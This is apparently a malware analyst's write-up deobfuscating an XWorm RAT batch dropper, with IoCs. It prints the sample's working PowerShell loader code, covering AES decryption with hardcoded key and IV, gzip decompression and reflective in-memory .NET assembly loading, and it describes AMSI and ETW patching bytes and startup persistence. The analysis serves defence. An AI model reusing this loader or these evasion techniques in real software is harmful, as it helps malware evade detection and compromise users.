In this article, we’ll break down how this version of XWorm works, including:
-
Deobfuscation: Attempt to deobfuscate the batch script.
-
Capabilities: Identify what the script does and how it achieves it.
Discovery #
The malicious script was obtained through the popular threat-hunting community AbuseCH and their malware sample sharing platform Malware Bazaar. Credit to smica83 for sharing the sample.
I first checked the website in VirusTotal and saw that multiple vendors had marked the script as malicious. The first submission occurred on April 18, 2025, which indicated a new version of the RAT. The sample was also known as 04cb.bat
and fwgwng.bat
.
Analysis #
Static Analysis #
When I opened the batch script I noticed that it was heavily obfuscated. At first, I was confused but then I saw a pattern - there were random strings encased with %
and in between them there were single characters that made up actual strings. After further research I found an article from Huntress - this is a common obfuscation technique used by attacks for batch scripts called DOS Obfuscation.
I decided to dump the contents of the batch script within CyberChef and I used RegEx to deobfuscate the script. I first tested the regular expression (%[a-zA-Z0-9]+([^\s%])[a-zA-Z0-9]+%
), then removed the DOS Obfuscation:
Afterwards, I removed the long variable and replaced it with set
(Refer to the image within the Discovery section.)
After the initial cleanup, the batch script contained some identifiable commands, a long string that appeared to be commented out (::
), a base64 string, and a lot of variables that contained chunks of clear and base64 encoded text in random order.
Starting with the identifiable commands, we can see the following:
The script first disables command echoing and launches the command line in a minimized window, specifying the full path of the script (drive, path, name, extension - %~dpnx0
). It then exits the initial script and continues only with the new, minimized instance. Afterwards, a sourceFile variable is set, assigning the current drive, path, name, and extension of the script.
The next command (copy "" "\dwm.bat" >nul"
) appears to be malformed. It is possible that this was done with the intention to confuse the analyst. The copy command requires both source and destination, in this case, the source being an empty string. This invalidates the command. The output is also suppressed with >nul
. Finally, the script enables delayed variable expansion (setlocal enabledelayedexpansion
) - this will allow the variables within the batch script to change throughout the execution and are not fixed at parse time.
Afterwards, the script assigns Base64 chunks to randomly named variables in a randomised order. This will be skipped for now.
A long comment follows the first few random variables, but I was unable to decode/decrypt it. It is possible that the complete base64 string from the variables may have hints regarding this so this will be revisited afterwards.
A lot more randomised variables follow before we reach a line that looks like this:
This is clearly a Base64 string which we can decode. Before we do this, however, we can see something interesting - the use of :::
. What would that do? In Batch scripts :
is a label and ::
is a comment. Triple colon does not exist in Batch so this is most likely a label with the Base64 string as a comment. It is possible that the reconstructed command from the random variables could lead to this comment and extract the command.
The Base64 command has a script that defines a main function (Start-GenProcess
) which takes two optional parameters $EnableVerbose
and $DisableService
. The script assigns commands to variables. They are encoded to bypass detection. The entire script was obfuscated as a whole, using variables to concatenate strings and bypass detection/make analysis slower.
As a whole, the script can do the following:
- Retrieve the address of
GetProcAddress
, andGetModuleHandle
from user32.dll - Retrieve address of AmsiInitialize function in amsi.dll
- Initialise Amsi and modify memory protection -
0xb8,0x0,0x00,0x00,0x00,0xC3
-mov eax, 0; ret
Similar versions of this specific assembly have been used to bypass Amsi. In this case, it is passing 0x0
, which is a standardised error code (S_OK
) in COM.
The script also disables EtwEventWrite
. Combining this with the VirtualProtect
and the previously mentioned capabilities, allows the script to patch system files while evading security mechanisms and disabling logging. Finally, it checks if the $DisableService
flag is set, indicating that service manipulation was successful.
I tried to re-arrange the variables in the “correct order” but to no avail. The strings assigned to each variable appeared illegible even when decoded with Base64, though it may be because the string should be in the correct order. I noticed that anRy
was repeated a lot throughout the assigned strings to the variables. Decoding this from Base64 showed jtr
as a result. That did not look like an actual command or human-readable words so it was either a part of another variable or another obfuscation technique as initially thought.
I looked through the script again and decided to run it but partially. Running the script with multiple echo
commands did not help so I decided to comment out some parts of the script - the first four lines. Those lines were used to prevent the script from echoing and then moved the script to a file called dmw.bat
. I thought - running the script without it being able to access dmw.bat
should result in an error.
And I was right, the script did throw an error. The problem is that it had appropriate error handling and immediately killed the command line window the moment it did not find dmw.bat
. I bypassed this by piping the output to a text file and bingo:
This shows us that Base64 (with a UTF8 character set) was indeed being used to decode the payload. After decoding it, I saw that the command was filled with the string jtr
placed at random - my initial assessment was correct.
A quick Find/Replace aaaaand… Done!
Now we have the command and we can also see that parts of the payload were encrypted using AES. Thankfully, the script gives us all the details required to decrypt the payload.
We can immediately see that we have two main variables in the script:
- $yhuvl - at the very start.
- $ummwm - at the end of the command.
The former contains the script nestled between
@''@
- this is called a “Here-String”. Why is it useful in obfuscating malware - it allows someone to define a multi-line string that can include special characters, quotes, permits code-like formatting and does not require escape characters. The lack of escape quotes or other special characters outside of the “Here-String” makes AVs think that this is just one long string, not a script. It would be identical to writingInvoke-Expression $yhuvl
but it avoids escaping and looks less suspicious.
Afterwards, the value of the former variable is assigned to the latter (most likely another technique to evade detection) and invokes it. We then see the AES decryption function of the script. As previously mentioned, the key and IV are hardcoded so it will be easy to decrypt the payload:
function sguqwhqqiwyksbn($param_var){
$aes_var=[System.Security.Cryptography.Aes]::Create();
$aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC;
$aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;
$aes_var.Key=[System.Convert]::FromBase64String('FmdNQA2gks1mlrKyKNSR0vv38TV6cw7qFyWAQeTTMSY = ');
$aes_var.IV=[System.Convert]::FromBase64String('SktSlarHcY7FWT3eTic31Q == ');
$decryptor_var=$aes_var.CreateDecryptor();
$return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length);
$decryptor_var.Dispose();
$aes_var.Dispose();
$return_var;
}
The decrypted payload is then decompressed using gzip and loads .Net assembly to avoid writing on disk. The malware author also used reversed strings as another precaution to evade detection.
# Gzip decompression
function ecfuupouswjeayd($param_var){
$xmssvjjburmpipk=New-Object System.IO.MemoryStream(,$param_var);
$yjlnnvyqememctm=New-Object System.IO.MemoryStream;
$cqsezlszfevbldh=New-Object System.IO.Compression.GZipStream($xmssvjjburmpipk, [IO.Compression.CompressionMode]::Decompress);
$cqsezlszfevbldh.CopyTo($yjlnnvyqememctm);
$cqsezlszfevbldh.Dispose();
$xmssvjjburmpipk.Dispose();
$yjlnnvyqememctm.Dispose();
$yjlnnvyqememctm.ToArray();
}
# Extracts payload from dwm.bat
function dgqmijcnbsydkyc($param_var,$param2_var){
# 'daoL'[-1..-4] -join '' - obfuscation ("Load" reversed string)
#Loads .Net assembly directory instead of writing to disk to evade detection
$afeiyatmkhywofr=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var);
$xhhiowwdqygjfjs=$afeiyatmkhywofr.EntryPoint;
$xhhiowwdqygjfjs.Invoke($null, $param2_var);
}
# 'txeTllAdaeR'[-1..-11] -join '' - ReadAllText
$host.UI.RawUI.WindowTitle = $hndfnypzcuzbtdz;$vsecrjyejquoiiz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($hndfnypzcuzbtdz).Split([Environment]::NewLine);
# Looks for a string that starts with :: - the main payload of the malware.
foreach ($jhqdscvgswaaotm in $vsecrjyejquoiiz) {
if ($jhqdscvgswaaotm.StartsWith(':: ')) {
$tyagyvqhchjjupt=$jhqdscvgswaaotm.Substring(3);
break;
}
}
To summarise, the script grabs the payload (the largest string that starts with ::
as mentioned earlier), decodes it from Base64, then decrypts it using AES and the provided key (FmdNQA2gks1mlrKyKNSR0vv38TV6cw7qFyWAQeTTMSY =
) and IV (SktSlarHcY7FWT3eTic31Q ==
) and uses gunzip to decompress it. The key and IV are not legible even after being decoded with Base64, most likely to confuse researchers.
I used a recipe in CyberChef and successfully identified that this is a Gunzip file thanks to the magic number - 1f 8b 08
CyberChef could not decompress the Gunzip file as it showed an invalid file signature error. With the help of ChatGPT, I wrote a script that decompressed it (and bypassed version dependencies as my Powershell version on the VM is 5.1) and extracted the executable.
I used Floss on the payload to get an idea of its capabilities. It showed that the original name of the file is ijmnanslmt.tmp
. Another hint that’s listed is mscoree.dll
- a dynamic link library that loads .NET assembly in memory. This is most often seen in fileless malware and LOLBAS. It is also capable of running with the same permissions as the invoker.
Dynamic Analysis #
I first attempted to execute the extracted PE, but it did not do much by itself. I did not observe any created files or connections. This is why I decided to revert to my previous snapshot and run the main batch file.
The script generated a lot of processes but most of them did not spark any curiosity. One chunk, however, revealed the malware’s persistence - it copied itself into the StartUp directory using a randomised name.
I wondered why it did not show any other activity so I decided to check the PowerShell Transcription logs. It appeared that the script’s execution was terminated midway as it could not find a service provider. It is possible that it detected the Internet Service simulation suite (inetsim
) that I normally use when analysing malware:
Conclusion #
To summarise, this batch file was heavily obfuscated. It has the capabilities to tamper with AMSI, disable logging, and load malicious payloads into memory. While the sample did pose a challenge, I was able to learn a lot of new techniques that will help me analyse and deobfuscate other samples in the future much more easily.
IoCs #
Hashes #
Batch File
- MD5: 258e7f6f287106dda8c97422a776e823
- SHA256: e5269c1e1058ff5344999040ab4d02ad3cc2cb1020a2e1d9de9c62fed5e9123f
PE Payload
- MD5: 6b18a0941cbfcbad0018988908fd1fbc
- SHA256: 9654c5497a6493585a1ff70a3d94d059c24e0403868b63a1cff80acc4cc3fcf9
IP Addresses #
- 45.88.186[.]43